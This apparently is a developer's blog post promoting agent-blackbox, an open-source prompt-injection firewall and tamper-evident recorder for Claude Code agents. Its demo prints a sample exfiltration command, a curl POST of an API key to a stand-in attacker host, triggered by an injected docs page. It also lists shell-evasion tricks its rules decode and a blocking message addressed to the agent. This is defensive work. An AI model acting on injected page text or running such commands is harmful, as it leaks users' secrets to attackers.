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@codingsh
@codingsh

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I gave my AI coding agent a black box. Here's what it tried to do with my .env

#ai #security #opensource #devtools

> A local, tamper-evident flight recorder and prompt-injection firewall for Claude Code. Audit last month's sessions in one command, no install. Looking for beta testers.

Quick question: **what d

id your AI coding agent do last month?**

Not what you asked it to do. What it actually did. Which files it read. Which URLs it fetched. Which curl it ran while you were getting coffee.

If you're like most of us, the honest answer is: no idea. We hand Claude Code (or Cursor, or Codex) a shell, our repo, our .env, and the open internet, and then we click "allow" until the feature works.

So I built a black box for it. It's called agent-blackbox, it's open source (Apache-2.0), and I'm looking for beta testers.

Try it in 10 seconds, without installing anything 

npx agent-blackbox scan
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That's it. It replays your existing Claude Code history (~/.claude/projects) through a security policy and tells you:

  • how many sessions read secrets
  • how many ingested untrusted web content
  • how many made outbound calls
  • and which calls would have been blocked Want something prettier? 
npx agent-blackbox scan --html         # local HTML report: tools, projects, skills, MCP servers, hosts
npx agent-blackbox scan --card me.svg  # a shareable card, numbers only
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Everything runs on your machine. No account, no cloud, no telemetry. Nothing is ever uploaded.

Run it, then come back. I'd genuinely love to see your numbers in the comments.

The problem: the lethal trifecta

Prompt injection stops being a curiosity the moment an agent has three things at once (the pattern Simon Willison named the "lethal trifecta"):

  1. Private data — your .env, ~/.ssh, a keystore, the output of gh auth token
  2. Untrusted content — a web page, an MCP tool result, a README someone else wrote
  3. A way out — curl, WebFetch, git push, npm publish… Any one alone is fine. All three in the same session means a hidden instruction in a docs page can quietly walk your API key out the door, and the agent will think it's being helpful.

Here's what that looks like with agent-blackbox watching:

$ blackbox demo
  allowed  Read /tmp/demo-repo/.env
  allowed  WebFetch https://setup-docs.example.net/install
  DENIED   Bash curl -s -X POST https://collect.attacker.example/k -d "k=sk-demo-…"
           you see:    blocked Bash: A secret this session read earlier (fingerprint 5b37…) appears in an outbound call
           agent sees: Blocked by the local security policy. Do not retry or work around this; …
  ASK      Bash curl -s https://collect.attacker.example/ping
           Lethal trifecta: this session read private data (Read .env) and untrusted content (WebFetch …)
  allowed  Bash npm test
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The agent read .env (fine), fetched a "setup docs" page (fine), and then the page told it to POST the key somewhere. Denied, before the command ran. The follow-up "harmless ping" to the same attacker host? Ask the human. And npm test keeps working, because a firewall that blocks everything gets uninstalled by Friday.

Two things in one tool

1. A firewall that lives outside the model

Decisions happen in Claude Code's PreToolUse hook, in milliseconds, before the tool runs. No LLM judging another LLM — just deterministic rules:

Rule What it catches Decision
secret-egress A secret read earlier shows up in an outbound call, to any host deny
sensitive-egress One command reads .env/~/.ssh and sends data out deny
lethal-trifecta Private data + untrusted content + call to a host you didn't name ask
secret-to-code A secret is passed to code the policy can't inspect ask
web3-transaction The agent tries to sign or broadcast a transaction ask
self-protection The agent pokes at the recorder's own files deny
hook-tamper The agent edits Claude Code settings or plugins ask / alert

A few details I'm proud of:

  • Denials stay quiet. The agent only hears "blocked by policy". The rule, the reason, and the fingerprint go to you. A prompt injection can't probe its way to learning what's protected.
  • Your intent counts. Hosts you type in your own prompt are allowed for that session. Text pasted from elsewhere never widens the list.
  • Evasions are decoded first. Quote splitting, backslashes, $IFS, $'\x..' strings, base64 | sh, heredocs, planted git hooks — commands are matched before and after undoing the tricks.
  • It never says "allow". It can only add friction; it never skips Claude Code's own permission checks. ### 2. A flight recorder you can actually trust

Every prompt, tool call, and tool result goes into an append-only, hash-chained ledger, Ed25519-signed by a separate process.

blackbox timeline --last   # what the agent did, step by step
blackbox ui                # same thing, in the browser
blackbox verify            # prove nothing was changed
blackbox anchor            # export the signed chain head
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Publish an anchor somewhere the agent can't write (a git commit, a gist) and any later rewrite of history — even just chopping off the last records — stops matching.

And because a recorder that sees everything is itself a juicy target:

  • Secrets never hit disk. They become [secret:<fingerprint>] (HMAC with a per-install key). The ledger can say "secret a91f… was read at #5 and tried to leave at #12" without ever holding the value.
  • Encrypted at rest, one key per session (AES-256-GCM). Your Time Machine and cloud sync only ever see ciphertext.
  • Erase for real. blackbox purge --days 30 destroys the session keys, so those payloads are unreadable everywhere — including old backups — while the chain still verifies. ## Bonus: audit your skills and MCP servers

Installed a dozen skills and MCP servers from random repos? Same.

npx agent-blackbox skills   # Claude Code, Cursor, Codex, Copilot…
npx agent-blackbox mcp
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They look for download-and-run commands, hidden instructions, plaintext secrets, unpinned packages, privileged containers and more. --pin snapshots the current state so a silent change gets flagged later, and --fail-on high makes it CI-ready.

Does it actually work?

blackbox eval runs the policy against a public corpus of known evasions plus benign commands that must stay quiet. Today: 62 of 62 attacks caught, 0 of 20 false alarms.

But here's the part I want to be loud about: those are attacks we know about. Research like The Attacker Moves Second shows adaptive attackers break static defenses, which is why we don't publish a "protection rate" until it's been measured against them.

The design follows recent work — Design Patterns for Securing LLM Agents, Progent, and others listed in the README — and the README has a full "Honest limitations" section. Short version: same-user processes aren't stopped by the OS unless you run blackbox harden, integrity isn't completeness, and it's fail-open by default. Treat it as friction + evidence, not a magic shield.

Install

As a Claude Code plugin:

/plugin marketplace add developerfred/agent-blackbox
/plugin install agent-blackbox@agent-blackbox
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Or via the CLI:

brew install developerfred/tap/agent-blackbox
blackbox install
blackbox demo --tamper   # watch an attack get blocked and a tampering attempt get caught
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No dependencies. Node 18+. blackbox uninstall removes the hooks and keeps your evidence.

We're looking for beta testers

agent-blackbox is at v0.3: Claude Code first, with Codex, Cursor and Gemini CLI next. We need people who'll use it on real work and tell us where it hurts. Especially if you:

  • use Claude Code daily on real repos
  • run lots of MCP servers or third-party skills
  • work in security, or on a team that has to answer "what did the AI touch?"
  • enjoy breaking things (please — find a bypass and add it to the corpus, or report it via SECURITY.md)
  • want Cursor / Codex / Gemini CLI support and can test it early How to join:
  1. Star the repo so you get release notifications
  2. Run npx agent-blackbox scan and drop your (numbers-only) results in the comments.
  3. Open an issue titled "Beta: " — false positives, confusing output, missing features, all of it Every false alarm you report makes it quieter for everyone. Every bypass you find makes it stronger.

So, what did your agent do last month? Run the scan and tell me — I'm reading every comment.

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